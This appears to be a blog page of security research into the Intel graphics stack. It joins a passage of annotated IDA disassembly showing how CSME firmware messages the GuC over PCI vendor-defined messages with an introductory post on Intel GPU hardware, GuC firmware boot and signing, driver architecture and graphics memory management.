.text:0010424D                 jz      short send_wake_msg_loop
.text:0010424F                 cmp     eax, PAVP_STATUS_TIMEOUT
.text:00104254                 jnz     short got_awake_msg
.text:00104256
.text:00104256 timeout:                                ; CODE XREF: GUC_send_message+92↓j
.text:00104256                                         ; GUC_send_message+C9↓j
.text:00104256                 mov     edi, PAVP_STATUS_TIMEOUT
.text:0010425B                 jmp     short loc_104297
.text:0010425D ; ---------------------------------------------------------------------------
.text:0010425D

Once the GuC awake message was received the actually GuC message is send, again with GUC_send_VDM().

.text:0010425D got_awake_msg:                          ; CODE XREF: GUC_send_message+55↑j
.text:0010425D                 test    eax, eax
.text:0010425F                 jnz     short loc_1042A8
.text:00104261                 mov     eax, [ebp+csme2guc]
.text:00104264                 push    VDM_FROM_CSME
.text:00104266                 push    dword ptr [eax+CSME2GUC_MSG.command]
.text:00104268                 push    ctx_ptr
.text:00104269                 call    GUC_send_VDM
.text:0010426E                 add     esp, 0Ch
.text:00104271                 mov     edi, eax
.text:00104273                 test    eax, eax
.text:00104275                 jnz     short loc_1042A8
.text:00104277                 push    [ebp+guc2csme]
.text:0010427A                 mov     eax, [ebp+csme2guc]
.text:0010427D                 movzx   eax, [eax+CSME2GUC_MSG.command]
.text:00104280                 push    eax
.text:00104281                 push    ctx_ptr
.text:00104282                 call    GUC_wait_for_message

Its then waits for the return message GUC_wait_for_message(). Now you have to say - Wise guy, how do you know this is actually releated to GuC? What is this VDM stuff? Did Ded Moroz drop them in your cabin?

VDMs are Vendor Defined Messages, a way to send custom messages to devices over a PCI bus. They are sent through IOCTLs to the VDM driver in CSME. The IOCTL gets data through a message:

00000000 IOCTL_VDM_WRITE struc ; (sizeof=0x12, mappedto_145)
00000000 addr_offset     dd ?
00000004 data            dd ?          ; This is a bitfield per the spec
00000008 info            VDM_TX ?
00000012 IOCTL_VDM_WRITE ends
00000000 VDM_TX          struc ; (sizeof=0xA, mappedto_142)
00000000                                         ; XREF: GucCtx/r
00000000                                         ; IOCTL_VDM_WRITE/r
00000000 msg             dd ?                    ; XREF: setup_guc_vdm+F/r
00000004 pci_req_id      dw ?                    ; XREF: setup_guc_vdm+12/w
00000006 tag             dw ?
00000008 pci_tgt_id      dw ?                    ; XREF: setup_guc_vdm+1C/w
0000000A VDM_TX          ends

Here you have the first hint of how I connected all this to the GuC. Lets just get the VDM function out of the way:

.text:0014889D VDM_write       proc near               ; CODE XREF: sub_1028DB+CE↑p
.text:0014889D                                         ; GUC_send_VDM+4F↑p ...
.text:0014889D
.text:0014889D var_40          = byte ptr -40h
.text:0014889D vdm_ioctl       = IOCTL_VDM_WRITE ptr -3Ch
.text:0014889D var_10          = dword ptr -10h
.text:0014889D fd              = dword ptr  8
.text:0014889D addr_info       = dword ptr  0Ch
.text:0014889D addr_offset     = dword ptr  10h
.text:0014889D data            = dword ptr  14h
.text:0014889D
.text:0014889D                 push    ebp
.text:0014889E                 mov     ebp, esp
.text:001488A0                 push    edi
.text:001488A1                 push    esi
.text:001488A2                 push    ebx
.text:001488A3                 sub     esp, 34h
.text:001488A6                 mov     ebx, [ebp+fd]
.text:001488A9                 mov     eax, ds:stack_cookie_ptr
.text:001488AE                 mov     [ebp+var_10], eax
.text:001488B1                 xor     eax, eax
.text:001488B3                 mov     edi, [ebp+addr_info]
.text:001488B6                 test    ebx, ebx
.text:001488B8                 js      short invalid_parameter
.text:001488BA                 test    edi, edi
.text:001488BC                 jz      short invalid_parameter
.text:001488BE                 lea     esi, [ebp+vdm_ioctl]
.text:001488C1
.text:001488C1 build_ioctl_data:
.text:001488C1                 push    44 ; sizeof(vdm_ioctl)
.text:001488C3                 push    0
.text:001488C5                 push    esi
.text:001488C6                 call    near ptr memset
.text:001488CB                 mov     eax, [ebp+addr_offset]
.text:001488CE                 mov     [ebp+vdm_ioctl.addr_offset], eax
.text:001488D1                 mov     eax, [ebp+data]
.text:001488D4                 mov     [ebp+vdm_ioctl.data], eax
.text:001488D7                 lea     eax, [ebp+vdm_ioctl.info]
.text:001488DA                 push    0Ah             ; sizeof(TX info)
.text:001488DC                 push    edi
.text:001488DD                 push    0Ah
.text:001488DF                 push    eax
.text:001488E0                 call    near ptr memcpy_s
.text:001488E5                 lea     eax, [ebp+var_40]
.text:001488E8                 push    eax
.text:001488E9                 push    44
.text:001488EB                 push    esi
.text:001488EC                 push    44
.text:001488EE                 push    esi
.text:001488EF                 push    2        ; IOCTL write
.text:001488F1                 push    ebx
.text:001488F2                 call    near ptr ioctl_s

The IOCTL is sent to a file handle. Where is it set? We now go back to the PAVP init code and look for all places where file handles are init. There we find to functions I am pretty sure initialize the GuC and the Graphics Key Manager (GKM), thus I appropriatly named them GUC_init() and GKM_init() (I keep reminding you I named these functions as I have no clue what is their realy name, these are my guesses).

As usual, the function begins by checking it's input argument:

.text:001043C3 GUC_init        proc near               ; CODE XREF: pavp_init+259↑p
.text:001043C3
.text:001043C3 ctx             = dword ptr  8
.text:001043C3
.text:001043C3 ctx_ptr = ebx
.text:001043C3                 push    ebp
.text:001043C4                 mov     ebp, esp
.text:001043C6                 push    esi
.text:001043C7                 push    ctx_ptr
.text:001043C8                 mov     esi, 1005h
.text:001043CD                 mov     ctx_ptr, [ebp+ctx]
.text:001043D0                 test    ctx_ptr, ctx_ptr
.text:001043D2                 jz      invalid_paramter
.text:001043D8                 cmp     [ctx_ptr+PavpCtx.guc_ctx], 0
.text:001043DC                 jnz     invalid_paramter

Next it allocates a context for GuC operations:

.text:001043E2                 push    90 ; sizeof(GucContext
.text:001043E4                 push    1
.text:001043E6                 call    near ptr calloc ; allocate GucContext (0x5A bytes)
.text:001043EB                 mov     [ctx_ptr+PavpCtx.guc_ctx], eax
.text:001043EE                 test    eax, eax
.text:001043F0                 pop     esi
.text:001043F1                 pop     edx
.text:001043F2                 jnz     short alloc_ok  ; start with no FD

The struct itself:

00000000 GucCtx          struc ; (sizeof=0x5A, mappedto_140)
00000000 vdm_file_descriptor dd ?                ; XREF: GUC_init:alloc_ok/w
00000000                                         ; GUC_init+5C/w ...
00000004 pg_timer        Timer ?
00000028 watchdog        Timer ?                 ; XREF: GUC_command_handler+8C/o
0000004C vdm             VDM_TX ?                ; XREF: GUC_init:loc_104441/o
00000056 state           dd ?                    ; XREF: GUC_pg_timer_routine+39/w
00000056                                         ; GUC_init+127/w
0000005A GucCtx          ends

It first checks if a file descriptor has already been setup by the Graphics Key Manager, and if so uses the same file descriptor - apparently they share the same VDM channel. Otherwise a new FD is setup in setup_guc_vdm(). The rest of the code initializes two timers - one related to some kind of watchdog and the other to power managment.

.text:0010440C
.text:0010440C alloc_ok:                               ; CODE XREF: GUC_init+2F↑j
.text:0010440C                 mov     [eax+GucCtx.vdm_file_descriptor], 0FFFFFFFFh ; start with no FD
.text:00104412                 mov     eax, [ctx_ptr+PavpCtx.graphic_key_mgr]
.text:00104415                 test    eax, eax
.text:00104417                 jz      short no_gkm
.text:00104419                 mov     edx, [ctx_ptr+PavpCtx.guc_ctx]
.text:0010441C                 mov     eax, [eax+GkmCtx.vdm_file_descriptor]
.text:0010441F                 mov     [edx+GucCtx.vdm_file_descriptor], eax
.text:00104421
.text:00104421 no_gkm:                                 ; CODE XREF: GUC_init+54↑j
.text:00104421                 mov     eax, [ctx_ptr+PavpCtx.guc_ctx]
.text:00104424                 cmp     [eax+GucCtx.vdm_file_descriptor], 0
.text:00104427                 jns     short loc_104441
.text:00104429                 push    4B00FDh
.text:0010442E                 mov     esi, 100Eh
.text:00104433                 push    2
.text:00104435                 call    near ptr log_printf_0
.text:0010443A                 pop     eax
.text:0010443B                 pop     edx
.text:0010443C                 jmp     invalid_paramter
.text:00104441 ; ---------------------------------------------------------------------------
.text:00104441
.text:00104441 loc_104441:                             ; CODE XREF: GUC_init+64↑j
.text:00104441                 add     eax, GucCtx.vdm
.text:00104444                 push    eax
.text:00104445                 call    setup_guc_vdm
.text:0010444A                 mov     esi, eax

And this is the part we have been waiting for:

.text:00102810 setup_guc_vdm   proc near               ; CODE XREF: GKM_init+2D↓p
.text:00102810                                         ; GUC_init+82↓p
.text:00102810
.text:00102810 vdm             = dword ptr  8
.text:00102810
.text:00102810 vdm_ptr = edx
.text:00102810                 push    ebp
.text:00102811                 mov     eax, 1005h
.text:00102816                 mov     ebp, esp
.text:00102818                 mov     vdm_ptr, [ebp+vdm]
.text:0010281B                 test    vdm_ptr, vdm_ptr
.text:0010281D                 jz      short loc_10284A
.text:0010281F                 mov     al, byte ptr [vdm_ptr+(VDM_TX.msg+3)]
.text:00102822                 mov     dword ptr [vdm_ptr+VDM_TX.pci_req_id], 0B0h ; CSME: bus: 0, device: 22, function 0
.text:00102829                 or      eax, 7
.text:0010282C                 mov     [vdm_ptr+VDM_TX.pci_tgt_id], 10h ; GUC: buf: 0, device: 2, function 0
.text:00102832                 and     eax, 0FFFFFF8Fh
.text:00102835                 mov     byte ptr [vdm_ptr], 0D3h
.text:00102838                 mov     [vdm_ptr+3], al
.text:0010283B                 mov     al, [vdm_ptr+2]
.text:0010283E                 or      byte ptr [vdm_ptr+1], 0Fh
.text:00102842                 and     eax, 0FFFFFF80h
.text:00102845                 mov     [vdm_ptr+2], al
.text:00102848                 xor     eax, eax
.text:0010284A
.text:0010284A loc_10284A:                             ; CODE XREF: setup_guc_vdm+D↑j
.text:0010284A                 pop     ebp
.text:0010284B                 retn
.text:0010284B setup_guc_vdm   endp

Here we have the internal bus IDs for the GuC and CSME.

Results are retrieved using GUC_wait_for_message() - it uses select() to wait on the VDM file handle and parses the message. Something interesting I found out it that messages are not initiated only by the CSME - the GuC can initiate messages to the CSME and the CSME responds. GUC_wait_for_message() uses a handler table with 11 entries, but 4 are NULL.

For example, one message I decoded gets some production information for the chip:

.text:00103EDA GUC_api_get_production_info proc near
.text:00103EDA
.text:00103EDA var_14          = byte ptr -14h
.text:00103EDA var_13          = byte ptr -13h
.text:00103EDA var_E           = byte ptr -0Eh
.text:00103EDA var_D           = byte ptr -0Dh
.text:00103EDA var_C           = dword ptr -0Ch
.text:00103EDA ctx             = dword ptr  8
.text:00103EDA
.text:00103EDA ctx_ptr = esi
.text:00103EDA                 push    ebp
.text:00103EDB                 mov     ebp, esp
.text:00103EDD                 push    ctx_ptr
.text:00103EDE                 push    ebx
.text:00103EDF                 sub     esp, 0Ch
.text:00103EE2                 mov     [ebp+var_14], 0
.text:00103EE6                 mov     ctx_ptr, [ebp+ctx]
.text:00103EE9                 mov     eax, ds:stack_cookie_ptr
.text:00103EEE                 mov     [ebp+var_C], eax
.text:00103EF1                 xor     eax, eax
.text:00103EF3                 push    ctx_ptr
.text:00103EF4                 call    GUC_enable_power_gate
.text:00103EF9                 lea     eax, [ebp+var_14]
.text:00103EFC                 push    eax
.text:00103EFD                 call    test_byte_12h_from_snowball_rbe_sku
.text:00103F02                 pop     ecx
.text:00103F03                 test    eax, eax
.text:00103F05                 pop     ebx
.text:00103F06                 mov     ebx, 109h
.text:00103F0B                 jnz     short loc_103F48
.text:00103F0D                 mov     ebx, 9
.text:00103F12                 cmp     [ebp+var_14], 0
.text:00103F16                 jnz     short loc_103F48
.text:00103F18                 lea     eax, [ebp+var_13]
.text:00103F1B                 mov     ebx, 109h
.text:00103F20                 push    eax
.text:00103F21                 call    get_7_bytes_from_snowball_rbe_sku
.text:00103F26                 pop     edx
.text:00103F27                 test    eax, eax
.text:00103F29                 jnz     short loc_103F48
.text:00103F2B                 mov     bl, [ebp+var_E]
.text:00103F2E                 mov     al, [ebp+var_D]
.text:00103F31                 shr     bl, 2           ; actuall data from CPUs looks like production year & week
.text:00103F34                 and     eax, 0Fh
.text:00103F37                 shl     eax, 9
.text:00103F3A                 and     ebx, 3Fh
.text:00103F3D                 shl     ebx, 0Dh
.text:00103F40                 or      ebx, 109h
.text:00103F46                 or      ebx, eax
.text:00103F48
.text:00103F48 loc_103F48:                             ; CODE XREF: GUC_api_get_production_info+31↑j
.text:00103F48                                         ; GUC_api_get_production_info+3C↑j ...
.text:00103F48                 push    ctx_ptr
.text:00103F49                 call    GUC_enable_power_gate
.text:00103F4E                 push    2
.text:00103F50                 push    ebx
.text:00103F51                 push    ctx_ptr
.text:00103F52                 call    GUC_send_VDM
.text:00103F57                 mov     edx, [ebp+var_C]
.text:00103F5A                 xor     edx, ds:stack_cookie_ptr
.text:00103F60                 jz      short loc_103F67
.text:00103F62                 call    near ptr __stkchk
.text:00103F67
.text:00103F67 loc_103F67:                             ; CODE XREF: GUC_api_get_production_info+86↑j
.text:00103F67                 lea     esp, [ebp-8]
.text:00103F6A                 pop     ebx
.text:00103F6B                 pop     ctx_ptr
.text:00103F6C                 pop     ebp
.text:00103F6D                 retn
.text:00103F6D GUC_api_get_production_info endp

Why do I think this is related to production information? Because it reads data from a file called "/snowball/rbe_sku" (Intel’s name!). I don’t have any idea what Snowball means, RBE usualy means ROM Boot Extenion, so it reads data from the ROM? The actuall data from a few processors appears to be correlated to production year and work week for the CPU.

.text:00148AF7 test_byte_12h_from_snowball_rbe_sku proc near
.text:00148AF7                                         ; CODE XREF: pavp_init+10A↑p
.text:00148AF7                                         ; GUC_api_get_production_info+23↑p ...
.text:00148AF7
.text:00148AF7 buffer          = byte ptr -24h
.text:00148AF7 stack_cookie    = dword ptr -8
.text:00148AF7 var_4           = dword ptr -4
.text:00148AF7 out_byte_12h    = dword ptr  8
.text:00148AF7
.text:00148AF7                 push    ebp
.text:00148AF8                 mov     ebp, esp
.text:00148AFA                 push    ebx
.text:00148AFB                 sub     esp, 20h
.text:00148AFE                 mov     eax, ds:stack_cookie_ptr
.text:00148B03                 mov     [ebp+stack_cookie], eax
.text:00148B06                 xor     eax, eax
.text:00148B08                 lea     eax, [ebp+buffer]
.text:00148B0B                 push    1Ch
.text:00148B0D                 mov     ebx, [ebp+out_byte_12h]
.text:00148B10                 push    eax
.text:00148B11                 push    offset aSnowballRbeSku_0 ; "/snowball/rbe_sku"
.text:00148B16                 call    read_file_completely
.text:00148B1B                 add     esp, 0Ch
.text:00148B1E                 test    eax, eax
.text:00148B20                 jnz     short loc_148B2A
.text:00148B22                 mov     dl, [ebp+buffer+12h]
.text:00148B25                 and     edx, 1
.text:00148B28                 mov     [ebx], dl
.text:00148B2A
.text:00148B2A loc_148B2A:                             ; CODE XREF: test_byte_12h_from_snowball_rbe_sku+29↑j
.text:00148B2A                 mov     ecx, [ebp+stack_cookie]
.text:00148B2D                 xor     ecx, ds:stack_cookie_ptr
.text:00148B33                 jz      short loc_148B3A
.text:00148B35                 call    near ptr __stkchk
.text:00148B3A
.text:00148B3A loc_148B3A:                             ; CODE XREF: test_byte_12h_from_snowball_rbe_sku+3C↑j
.text:00148B3A                 mov     ebx, [ebp+var_4]
.text:00148B3D                 leave
.text:00148B3E                 retn
.text:00148B3E test_byte_12h_from_snowball_rbe_sku endp

.text:00148A54 read_file_completely proc near          ; CODE XREF: get_7_bytes_from_snowball_rbe_sku+21↓p
.text:00148A54                                         ; test_byte_12h_from_snowball_rbe_sku+1F↓p ...
.text:00148A54
.text:00148A54 filename        = dword ptr  8
.text:00148A54 buffer          = dword ptr  0Ch
.text:00148A54 byte_count      = dword ptr  10h
.text:00148A54
.text:00148A54                 push    ebp
.text:00148A55                 mov     ebp, esp
.text:00148A57                 push    edi
.text:00148A58                 push    esi
.text:00148A59                 push    ebx
.text:00148A5A                 push    0
.text:00148A5C count = esi
.text:00148A5C                 mov     count, [ebp+byte_count]
.text:00148A5F
.text:00148A5F open_file:
.text:00148A5F                 push    [ebp+filename]
.text:00148A62                 call    near ptr open
.text:00148A67 file_handle = ebx
.text:00148A67                 mov     file_handle, eax
.text:00148A69                 pop     eax
.text:00148A6A                 test    file_handle, file_handle
.text:00148A6C                 pop     edx
.text:00148A6D                 mov     eax, 222
.text:00148A72                 js      short loc_148A98
.text:00148A74
.text:00148A74 read_file:
.text:00148A74                 push    count
.text:00148A75                 push    [ebp+buffer]
.text:00148A78                 push    file_handle
.text:00148A79                 call    near ptr read
.text:00148A7E
.text:00148A7E close_file:
.text:00148A7E                 push    file_handle
.text:00148A7F                 mov     edi, eax
.text:00148A81                 call    near ptr close
.text:00148A86                 add     esp, 10h
.text:00148A89                 test    edi, edi
.text:00148A8B                 js      short loc_148A93
.text:00148A8D                 xor     eax, eax
.text:00148A8F                 cmp     edi, count
.text:00148A91                 jz      short loc_148A98
.text:00148A93
.text:00148A93 loc_148A93:                             ; CODE XREF: read_file_completely+37↑j
.text:00148A93                 mov     eax, 99
.text:00148A98
.text:00148A98 loc_148A98:                             ; CODE XREF: read_file_completely+1E↑j
.text:00148A98                                         ; read_file_completely+3D↑j
.text:00148A98                 lea     esp, [ebp-0Ch]
.text:00148A9B                 pop     ebx
.text:00148A9C                 pop     esi
.text:00148A9D                 pop     edi
.text:00148A9E                 pop     ebp
.text:00148A9F                 retn
.text:00148A9F read_file_completely endp

Conclusion

I am still actively working on this to see what attack surfaces there are from GuC->CSME and CSME->GuC, but it looks like Intel did a really good job checking bounds and arguments. The Graphics Key Manager is next in the queue, it look like the surface there is more promising.

There is also a lot more to decode in PAVP, I only decoded a small part of the context structure:

PavpCtx         struc ; (sizeof=0x80, mappedto_123)
00000000 field_0         dd ?
00000004 field_4         dd ?
00000008 heci_client     dd ?
0000000C server_ctx      dd ?
00000010 graphic_key_mgr dd ?                    ; XREF: GUC_init+4F/r
00000014 vkm             dd ?
00000018 guc_ctx         dd ?                    ; XREF: GUC_pg_timer_routine+32/r
00000018                                         ; GUC_disable_power_gate?+1E/r ...
0000001C Lspcon          dd ?                    ; XREF: LSPCON_command_handler+22/r
0000001C                                         ; LSPCON_playback_done+39/r ...
00000020 field_20        dd ?
00000024 timer_ctx       dd ?                    ; XREF: GUC_disable_power_gate?+56/r
00000024                                         ; GUC_command_handler+90/r ... ; struct offset (PavpPortConfig)
00000028 field_28        dd ?
0000002C port_cfg        PavpPortConfig ?
00000044 field_44        dd ?
00000048 field_48        dd ?
0000004C field_4C        dd ?
00000050 field_50        dd ?
00000054 handlers        dd ?                    ; XREF: GUC_command_handler+29/r
00000058 field_58        dd ?
0000005C field_5C        dd ?
00000060 field_60        dd ?
00000064 field_64        dd ?
00000068 field_68        dd ?
0000006C field_6C        dd ?
00000070 field_70        dd ?
00000074 field_74        dd ?
00000078 field_78        dd ?
0000007C field_7C        dd ?
00000080 PavpCtx         ends

Enough for today, especially as my day job has warmed up a bit in the last three weeks - more on that later! I promise it will be very interesting (but not hardware related).

Security of the Intel Graphics Stack - Part 1 - Introduction

10 February 2021 at 05:00

I promised I’ll post stuff about low level hardware issues, and here is my second post on the subject, the first part in a series about the Intel graphics stack.

This post series will be a summary of about a decade of unpublished research I am trying to organize and share. Not all of it is current, as newer hardware is harder to inspect and reverse, but I think much of the research is relevant.

The first post below is a quick introduction to the different components on the hardware and software side we’ll need to dive into security issues in the next post.

General Architecture

  • Processor graphics - The graphics unit that is part of the processor itself. Has had many codenames over the years, HD Graphics, UHD Graphics, Iris, Gen9, Gen11, Intel Xe and so on. Even the ‘Gen’ name has double meaning - both generation and ‘Graphics ENgine’. In UEFI code it is sometimes refered to at the IGD - Integrated Graphics Device.
  • The GuC - an embedded i486 core that supports graphics scheduling, power management and firmware attestation.

  • UEFI and OS Drivers

Core Graphics

As discussed in the introduction to the SecureBoot post, the Intel CPU has four major component groups - the CPU cores, the L3 (or LLC) cache slices, the ‘Uncore’ or ‘System Agent’ parts, all connected through a ring bus inside the die.

Gen9 Architecture

The graphics process is made up from several slices and an unslice (like uncore) area that includes common components. Each slice is divided into subslices and a slice common area. The subslices are made up of several Execution Units (EUs), and Texture unit and a L1 Cache/Memory. The common area includes the L3 cache and the dataport. The limit to the number of slices is the interconnect between them and the unslice. There is always only a single unslice. In the unslice we can find the connection to the ring bus, aptly named the GT interface (GTI), the Command Streamer is reads commands from the system memory and into the graphics processor, the fixed function pipline (FF pipeline), and the thread dispatcher \& spawner that lunch shader programs and GPGPU (General Purpose Computing) programs onto the EUs. The FF pipeline deals with fixed functions such as vertice operations (called the Geometry Pipe), and other dedicated hardware such as video transcoding.

Different SKUs have different combinations of these. For example:

  • Skylake GT2: 1 slice of 3 subslices of 8 EUs (1x3x8)
  • Skylake GT3: 2x3x8
  • Skylake GT4: 3x3x8

Gen9 Architecture

The graphics engine is also connect straight to the IOSF (Intel On Chip Fabric internal bus, see the secureboot post bus, through a controller called Gunit. Gunit is connect to both the primary and secondary IOSF and exports functions for communicating with the graphics engine and implementing IOMMU support for graphics memory and unified memory.

All of this is connected to the display IO interconnect and output to DisplayPort and HDMI outputs.

Gen9 Architecture

2D Graphics Pipeline

The 2D graphics engine is a standalone IP block in the unslice area, and has its own command streamer, registers and cache. It has 256 different operation codes, for example:

2D BitBlt Operations

3D Graphics Pipeline

The fixed function pipeline in the unslice implements the DirectX 11 redndering pipeline stages: Vertex Fetch -> Vertex Shader -> Hull Shader -> Tessellator -> Domain Shader -> Geometry Shader -> Clipper -> Windower -> Z Ordering, -> Pixel Shader - >Pixel Output. Some of these functions are self contained, but many are implemented using by running shader programs on the EUs in the slices. EUs can send certain operations back into dedicated hardware units.

The Execution Units (EUs)

The EUs are in-order mulithreaded SIMD processing cores. Each execution thread is dispatched has its own 128 register space and executed programs called “kernels”. All instructions are 8 channels wide, e.g. operate on 8 registers at a time (or 16 half registers). Its supports arithmetic, logical and control flow instructions on floats and ints. Registers are addressed by address. The EU thread dispatcher implements priorities based on age, i.e. oldest is highest priority, and whether the trhead is blocked waiting on instruction fetches, register dependencies etc’. C

The GuC

The GuC is a small embedded core that supports graphics scheduling, power management and firmware attestation. It is implemented in an i486DX4 CPU (also called P24C and Minute IA), although it seems that since broadwell it has been extended to the Pentium (i586) ISA. It runs a small microkernel call μOS. The GuC μOS runs only kernel level tasks (even though μOS supports μApps). The firmware is written in C with not stdlib. In the GuC we can find supporting blocks: ROM memory, 8KB L1 on core cache, 64KB/128KB/256KB (Broadwell/Skylake/CannonLake) of SRAM memory which is used for code+data+cache and a 8KB stack. It also has power management, DMA engine, etc’. Communication to the GuC is done through memory-mapped IO and bidirectional interrupts.

GuC architecture

The GuC offers a light-weight mechanism for dispatch work the host submits to the GPU. This means the GPU driver does not need to handle dispatch and job queuing, making it much faster. The user mode driver (UMD) can communicate with the GuC directly when required and bypass the need to context switch the main CPU into kernel mode. The kernel mode driver (KMD) uses the GuC as a gateway for job submission as well. This simplifies the Kernel and provides a single point where all jobs are submitted. Communication between the UMD and the GuC is done through shared memory queues.

Why is the GuC interesting? Because I think it can communicate with the CSME, CPU and GPU and everything over the IOSF, and if it has bugs it can be used to gain very privileged access to the system and memory.

Boot ROM and GuC firmware

At system startup GuC is held at reset state until the UEFI firmware initializes the shared memory region for the GPU. Inside the shared region a special subregion call WOPCM is set aside fur GuC (and HuC) firmware. It then releases the GuC from reset and it in turn starts executing a small non-modifiable Boot ROM (16/32KB in size) that initializes the basic GuC hardware, and waits for an interrupt signalling the firmware has been copied to the WOPCM region. The GuC firmware is an opaque blob supplied by Intel as part of the GPU KMD, which copies it to the shared memory region (GGTT) and signals the Boot ROM with an interrupt. The bootrom verifies the firmware with a digital signature using a SHA256 hash + PKCSv2.1 RSA signature, and if the test passes copies it to SRAM and starts executing.

The GUC firmware can be extracted from the graphics driver and reversed. Screenshot of IDA open on the kabylake GuC: GUC firmware

The GuC also attest the firmware for the video decoder unit, called HuC. The HuC is an HEVC/H.265 decoded implement in hardware.

The μOS kernel

The μOS kernel runs in 32-bit protected mode, with no paging and old-style segments model (CS, DS, etc’). All code run in ring0. The OS handles HW/SW exceptions and crashes, and supplies debugging and logging services.

Interrupts are handled through the local APIC - I found interrupts coming from the IOMMU, power management, display interfaces, the GPU and the CPU.

It runs a single process - which initializes the system and then waits for interrupts/events in a loop.

Communication with the OS

Commands are dispatched through a ring buffer work queue. Each work item has a header followed by a command. Once a command is posted the CPU notifies the GuC using a “doorbell” interrupt.

The Windows kernel mode driver supports GuC debugging by setting a registry key:

\\REGISTRY\MACHINE\SOFTWARE\Intel\KMD\GuC\\
	GuCEnableUkLogging=1
    
\\REGISTRY\MACHINE\SOFTWARE\Intel\KMD\GuC\\
    GuCLoggingVerbositySelect=0/1/2/3 (low, medium, high, max)

Host Graphics Architecture

So far we only discussed hardware. The software part of the graphics stack is divided into three levels: UEFI DXE, kernel mode and user mode.

UEFI

Traditionally VGA support was implemented with a legacy Video VBIOS as an PCI option ROM. In UEFI VBIOS was modified into a DXE driver call the Graphics Output Protocol (GOP), which support basic display for the UEFI setup menu and for the OS bootloader. The GOP is supplied by Intel to the UEFI vendor. The GOP supplies two basic functions:

  • Changing the graphics mode - resolution, pixel depth, etc’
  • Getting the physical address of the framebuffer

The Windows boot-loader uses the GOP to setup a memory mapped video framebuffer before entering VBS, and after the hypervisor and SK are loaded the access by winload is only through the framebuffer without invoking the GOP. Windows also uses the GOP for disabling blue screens.

Windows

On Windows, Intel supplies a fairly large graphics driver that implements both the user mode driver (UMD) and kernel mode driver (UMD). Applications using Direct3D communicate through the D3D runtime to the DXGI abstraction interface (in dxgkrnl.sys), which in turn communicated with the KMD. The KMD treats 2D Blt and 3D operations through different pipelines and dispatches the operations to the GPU.

The GPU driver is riddled with telemetry, but I haven’t figured out yet how much of it is sent automatically to Intel, altough crashes are sent through OCA - Online Crash Analysis.

Basic Memory Management

A very important job of the graphics drivers (both KMD and UMD) is memory management (GMM). The Graphics Memory space is the virtual memory allocated to the GPU, and is translated using the system pages tables to the physical RAM. The memory contains stuff lime geometry data, textures, etc’. The GPU hardware used Graphics Page Tables (GTTs) to decode virtual addresses supplied by the software graphics memory space into hardware. The use of MMUs and page tables on both ends (sw \& hw) has three main benefits: virtualization, per-process isolated graphics memory and non-contiguous physical memory for better utilization.

The GTTs come in two variants:

  • Global GTT - a single one level table mapping directly into system pages. It is managed by the HW and configured in UEFI. The UEFI DXE driver maps the GTT into memory and initializes it. It is also called Graphics Stolen Memory (GSM) and Unified Memory Architecture (UMA), not to be confused with CSME’s UMA.

  • Per-process GTT (PPGTT). This has changed significantly in the Broadwell graphics engine, so we’ll discuss only the new architecture. Modern PPGTT is basically a mirror of the CPU’s paging model with 4 paging levels.

The GMM part of the KMD handles and tracks graphics allocations, manages the GTTs, caching coherence, stolen memory allocation and something I won’t go into right now called swizzling. The GMM is essential for performance as it allows memory to be setup by the CPU and then accessed by the GPU directly without copying from system memory to GPU memory.

Its important to note that in modern system the whole system memory can be used for graphics. The driver reports fictious “dedicated” video memory probably to fix old games. Driver  memory

Security-wise, the graphis driver needs to make sure user process can gain access only to memory allocated to that process, and is cleared before transferring the memory to a different process.

SVM Mode

The Intel GPU have added support for another organic memory model, the OpenCL SVM model. In SVM mode the GPU and CPU share the exact same page table, so data structures can be shared AS-IS between both, including embedded pointers and such. Five levels of SVM are supported.

  • Coarse grained - CPU \& GPU have different buffers
  • Fine grained - CPU \& GPU can share memory buffer
  • Fine grained system - CPU \& GPU share entire system memory
+-----------------+------------------------------------------------------------------------------+
|                 | Type                                                                         |
+-----------------+-----------------------+--------------------------------+---------------------+
|                 |  Coarse-graind-buffer | Fine-grained buffer            | Fine-grained system |
+-----------------+                       +-----------------+--------------+                     |
| Type            |                       | without atomics | with atomics |                     |
+-----------------+-----------------------+-----------------+--------------+---------------------+
| Shared          | V                     | V               |        V     | V                   |
| virtual         |                       |                 |              |                     |
| address         |                       |                 |              |                     |
| space           |                       |                 |              |                     |
+-----------------+-----------------------+-----------------+--------------+---------------------+
| No need for     |                       | V               |        V     | V                   |
| explicit        |                       |                 |              |                     |
| mapping by host |                       |                 |              |                     |
+-----------------+-----------------------+-----------------+--------------+---------------------+
| Fine-           |                       | V               |        V     | V                   |
| grained         |                       |                 |              |                     |
| coherency       |                       |                 |              |                     |
+-----------------+-----------------------+-----------------+--------------+---------------------+
| Fine-           |                       |                 |        V     | V                   |
| grained         |                       |                 |              |                     |
| synchorinzation |                       |                 |              |                     |
+-----------------+-----------------------+-----------------+--------------+---------------------+
| Implicit use    |                       |                 |              | V                   |
| of memory       |                       |                 |              |                     |
| from CPU        |                       |                 |              |                     |
| malloc() from   |                       |                 |              |                     |
| GPU and entire  |                       |                 |              |                     |
| CPU address     |                       |                 |              |                     |
| space           |                       |                 |              |                     |
+-----------------+-----------------------+-----------------+--------------+---------------------+

Cache Coherence

Both the CPUs and GPUs have a complex memory hierarchy involving many caches. For example:

CPU: L1 Cache -> L2 Cache -------------\ 
                                       |------> *System LLC Cache -> eDRAM -> RAM 
GPU: Transient Cache -> GPU L3 Cache --/

GPU memory accesses do not pass through the CPU core’s L1+L2 caches, so the GPU implements snooping to maintain memory-cache coherency. The GPU basically sniffs the traffic on the CPU L1/L2 caches, and invalidates its own cache (I think this is relevant only to BigCore CPUs, and on Atom this is optional and very costly). The GPU’s transient caches are not snoopable by the CPU and must be explicitly flushed. The GPU L3 Cache is snoopable by the CPU on some Intel platforms.

Boot process

At boot, the operating system and kernel mode drive will detect and query the display devices, initialize a default display topology. After boot up, display config request will be sent to KMD and KMD in turn will configure the GEN display hardwires There are also use cases of display hot-plug during runtime, handled by OS user and kernel mode modules/drivers.

Once the driver is loaded it DirectX initializes it from DxgkDdiStartDevice() which eventually leads to a function that setups the render table per architecture:

void setup_render_function_table(HW_DEVICE_EXTENSION *pHwDevExt)
{
    KM_RENDER_CONTEXT   *render_context;

    ...

    switch(get_render_core(pHwDevExt))
    {
    ...
        case GEN3_FAMILY:
            ...
        case GEN4_FAMILY:
            ...
            ...
        case GEN8_FAMILY:
            render_context->FuncTable.PresentBlt                     = func_Gen6PresentBlt;
            render_context->FuncTable.PresentFlip                    = func_Gen6PresentFlip;
            render_context->FuncTable.RenderBegin                    = func_Gen6RenderBegin;
            render_context->FuncTable.Render                         = func_Gen7Render;
